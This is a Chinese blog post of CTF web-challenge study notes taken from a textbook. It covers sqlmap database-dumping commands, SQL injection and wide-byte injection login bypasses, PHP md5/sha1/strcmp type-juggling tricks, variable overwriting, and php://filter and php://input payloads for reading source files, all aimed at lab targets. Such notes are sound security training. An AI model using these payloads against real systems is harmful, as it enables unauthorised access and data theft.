CTF_Web_SQL注入常用命令

CTF_Web_SQL注入常用命令

本人周日参加比赛,临时抱佛脚把书上涉及到的内容进行简单的收录整理。

SQL注入

http://1.1.1.1:8000/sqli/Less-1/index.php?id=1

http://1.1.1.1:8000/sqli/Less-1/index.php?id=1'

kali中

sqlmap -u "http://1.1.1.1:8000/sqli/Less-1/index.php?id=1" --current-db

--current-db判断当前数据库名称

-D 数据库名称 --tables 判断数据库中数据表名称

-D 数据库名称 -T 数据表名称 --columns 判断表中字段名称

D 数据库名称 -T 数据表名称 -C 字段名称 --dump 将字段值抓出来

打开登陆界面,尝试输入'or 1=1,得到报错提示。

you have an error in your sql syntax;check the manual that corresponds to your MySQL server version for the right sysntax to use near "and password=123" at line 1

说明后台sql语句中对于参数的引用使用了单引号。输入admin' or 1=1#,密码随意。

继续注入,输入admin'order by 3返回正确页面,输入admin'order by 4会报错,可知该数据库表中有三列。接下来判断数据库名称、表中名称、字段名称和flag值

登录页面→输入账户admin,密码随意,提示登录失败→输入admin'or 1=1#,密码随意,获得报错反馈→check the manual that corresponds to your MySQL server versionfor the right syntax to use near '1=1#' and password='111' at line 1→输入的or字符被过滤了,#没有被过滤。→使用admin' #注入

打开题目发现是一张图片,通过查看源代码、御剑工具扫描没有发现备份日志文件存在→将图片保存本地,在kali中使用binwalk进行分析

~/Desktop# binwalk xxx.bmp(xxx.bmp为图片名称)

→通过分析可以看到该BMP格式图片由一个压缩文件改成,将其拓展名改为.zip→打开需要密码,可以使用WinRAR修复后,ARCHPR进行破解→成功破解打开文件,提示内容要求输入账户密码

http://1.1.1.1:8000/web/web24/index.php?username=admin&password=123

用户名后加上%df'测试→%df被合并→此题有关宽字节注入→根据报错提示

http://1.1.1.1:8000/web/web24/index.php?username=admin&password=123%df' or 1%23

输入上述参数可绕过过滤限制得到flag结果

代码审计

★md5()函数的漏洞

PHP在处理哈希字符串时会利用!=或==对哈希值进行比较,它把每一个以0E开头的哈希值都解释为0,如果两个不同的变量经过哈希后,其值都是以0E开头,那么PHP将认为他们是相同的(都是0)

★shal函数的特性

通过源代码,并根据提示找到备份文件index.php查看代码→要求name和password两个参数值本身不相等,却要求经过shal()函数处理后的值相等。→可以构造两个参数都是数组类型的变量值代入以改变参数的类型是的函数在处理数组对象时报错,由于对于两个不同的数组处理后的结果肯定是一样的,因为可达到绕过的目的。

完整的绕过参数如下:

name[]=1&password[]=2

★PHP中科学计数法的表示

★有关php序列化和反序列化的基本知识

序列化过程即把数据转换为可存储或传输的形式,而反序列过程意思是转换成当初的数据对象。

Php的封装协议→php://input可以得到原始的pos的数据。

user=php=://input&file=class.php&pass=1

并在post data框中提交the users admin进行访问。

php://filter/convert.base64-encode/resource =index.php

这里把读取的内容转化为base64格式。

完整参数如下

user=php://input&file=php://filter/convert.base64-encode/resource =class.php&pass=1

★strcmp()函数的语法缺陷

根据源代码可以发现最后pass word参数和题目最后的flag变量,如果比较的结果等于零,则返回最后的flag值,该函数在比较字符串类型和数组类型时返回的结果直接是0,因此在此环境下,我们已经知道,最后的flag值肯定是字符串,只需要将才传入的参数pass word构造成数字的形式即可。

password[]=1

★变量覆盖基本原理

对题目进行扫描,可以发现是否存在备份文件。

根据代码提示,我们要绕过转移就应该为user name赋予反斜杠

在bp中改为

username=/&password=||1#&_CONFIG=1&Submit=.....

★有关文件包含的知识

在输入框中输入字符报错信息提示error file or error method,这说明在输入框中提交的数据方法和参数都不对,我们利用浏览器的Hack Bar插件提交post数据。→系统还是报错,说明错误,应该用php://filter 或php://input

在post data框输入

file=php://filter/read=convert.base64-encode/resource =index.php&....

文章内容参考清华大学出版的《CTF安全竞赛入门》(启明星辰网络空间安全学院主编)

  • 23
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值